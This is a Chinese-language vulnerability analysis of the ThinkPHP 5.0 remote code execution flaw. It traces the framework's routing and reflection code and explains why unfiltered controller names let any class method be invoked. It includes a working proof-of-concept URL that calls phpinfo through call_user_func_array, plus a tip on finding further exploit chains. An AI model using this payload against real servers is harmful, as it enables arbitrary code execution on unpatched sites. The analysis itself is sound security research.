Fork me on GitHub

thinkphp5.0 RCE分析

Thinkphp5.0 RCE分析

迟到的关于年末爆出的tp5的RCE的分析文章。

我们先来分析以下的poc

1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

分析一个MVC的框架首先最重要的一步就是要搞清楚这个框架的路由规则。我们从index.php开始,

1
2
3
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

直接require了./../thinkphp/start.php,跟入该文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006~2018 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------

namespace think;

// ThinkPHP 引导文件
// 1. 加载基础文件
require __DIR__ . '/base.php';

// 2. 执行应用
App::run()->send();

进入App.phprun()方法,该方法的实现主要步骤可简化为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    public static function run(Request $request = null)
{
$request = is_null($request) ? Request::instance() : $request;

try {
/*
...
*/
$dispatch = self::$dispatch;

// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
/*
...
*/
$data = self::exec($dispatch, $config);
} catch (HttpResponseException $exception) {
$data = $exception->getResponse();
}
/*
...
*/
return $response;
}

路由检测位于routeCheck($request,$config)中,跟入该函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;

// 路由检测
...

// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

if ($must && false === $result) {
// 路由无效
throw new RouteNotFoundException();
}
}

// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}

return $result;
}

routeCheck函数中首先通过$request->path()获取了请求的path,跟进可知该值在允许兼容模式时可以通过$_GET[Config::get('var_pathinfo')]获取,默认情况下即$_GET[s],因此我们的poc获取到的path即为index/\think\app/invokefunction。之后由于路由规则中并无此规则,则进入控制器自动搜索,即Route::parseUrl($path, $depr, $config['controller_auto_search']);

跟进parseUrl可知thinkphp在处理路由时会用/分割path,对应分割结果分别匹配为模块|控制器|操作|操作参数,

因此最后获取到的路由为

50ECD0B6-F5D3-4829-9D3C-0F2B1741CE81

回到App.php中,

1
$data = self::exec($dispatch, $config);

这行操作是整个RCE实现的关键。我们跟入exec方法的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
...
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
...
}

return $data;
}

跟入module方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static function module($result, $config, $convert = null)
{
if (is_string($result)) {
$result = explode('/', $result);
}

$request = Request::instance();

...

// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
$controller = $convert ? strtolower($controller) : $controller;

// 获取操作名
$actionName = strip_tags($result[2] ?: $config['default_action']);
...

try {
$instance = Loader::controller(
$controller,
$config['url_controller_layer'],
$config['controller_suffix'],
$config['empty_controller']
);
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}

进入Loader::controller方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);

if (class_exists($class)) {
return App::invokeClass($class);
}

if ($empty) {
$emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix);

if (class_exists($emptyClass)) {
return new $emptyClass(Request::instance());
}
}

throw new ClassNotFoundException('class not exists:' . $class, $class);
}

跟入App::invokeClass方法,

1
2
3
4
5
6
7
8
public static function invokeClass($class, $vars = [])
{
$reflect = new \ReflectionClass($class);
$constructor = $reflect->getConstructor();
$args = $constructor ? self::bindParams($constructor, $vars) : [];

return $reflect->newInstanceArgs($args);
}

该方法使用php的反射机制返回指定类的一个对象,因此由我们的poc,Loader::controller返回了\think\app类的一个实例。

继续回到App::module方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$action = $actionName . $config['action_suffix'];

$vars = [];
if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action];
// 严格获取当前操作方法名
$reflect = new \ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $config['action_suffix'];
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$request->action($actionName);

} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$actionName];
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}

Hook::listen('action_begin', $call);

return self::invokeMethod($call, $vars);
}

可以看到App::module方法之后会判断之前生成的实例是否有对应的方法,存在的话便会设置$call变量为[\think\App类的实例,'invokefunction'],最后调用self::invokeMethod($call,$vars)。跟入该方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static function invokeMethod($method, $vars = [])
{
if (is_array($method)) {
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
} else {
// 静态方法
$reflect = new \ReflectionMethod($method);
}

$args = self::bindParams($reflect, $vars);

self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');

return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}

跟入self::bindParams,该方法用于获取最后执行的函数的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private static function bindParams($reflect, $vars = [])
{
// 自动获取请求变量
if (empty($vars)) {
$vars = Config::get('url_param_type') ?
Request::instance()->route() :
Request::instance()->param();
}

$args = [];
if ($reflect->getNumberOfParameters() > 0) {
// 判断数组类型 数字数组时按顺序绑定参数
reset($vars);
$type = key($vars) === 0 ? 1 : 0;

foreach ($reflect->getParameters() as $param) {
$args[] = self::getParamValue($param, $vars, $type);
}
}

return $args;
}

默认情况下Config::get('url_param_type')为0,因此$vars被设置为Request::instance()->param(),在我们的poc中$vars

1D9D22C4-D7CC-42C1-A409-DDF852FEF696

即为我们的请求参数。之后通过判断$reflect的方法中需要的参数最后返回参数列表$args

39BE1DE5-F2C4-4374-8B77-CCBC3F425C31

回到invokeMethod方法,

1
return $reflect->invokeArgs(isset($class) ? $class : null, $args);

这里调用了$reflectinvokeArgs方法,即通过反射调用/think/App类的invokefunction方法。

1
2
3
4
5
6
7
8
9
10
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);

// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

return $reflect->invokeArgs($args);
}

可以看到最后invokeFunction()相当于直接调用call_user_func_array("phpinfo",[1])

5DD9C4E3-7EC3-49FE-B316-63F18FEDF455

可见整个RCE的原因便是由于thinkphp在获取控制器时过滤不足导致可以任意生成类的实例调用指定的方法而导致的。怎样获取其他的可用的RCE的poc?我们可以在Loader::controller方法中添加一行代码:

1
$t=get_declared_classes();

在这行代码后的代码处下断点调试

7A4DEE2D-287B-4B00-852A-7D593E6308C7

可以看到这些类都是tp中可用的用来RCE的类,我们只需要再多研究便可发现其他的利用链。

修复方法也是很简单粗暴,只需要过滤掉反斜杠即可。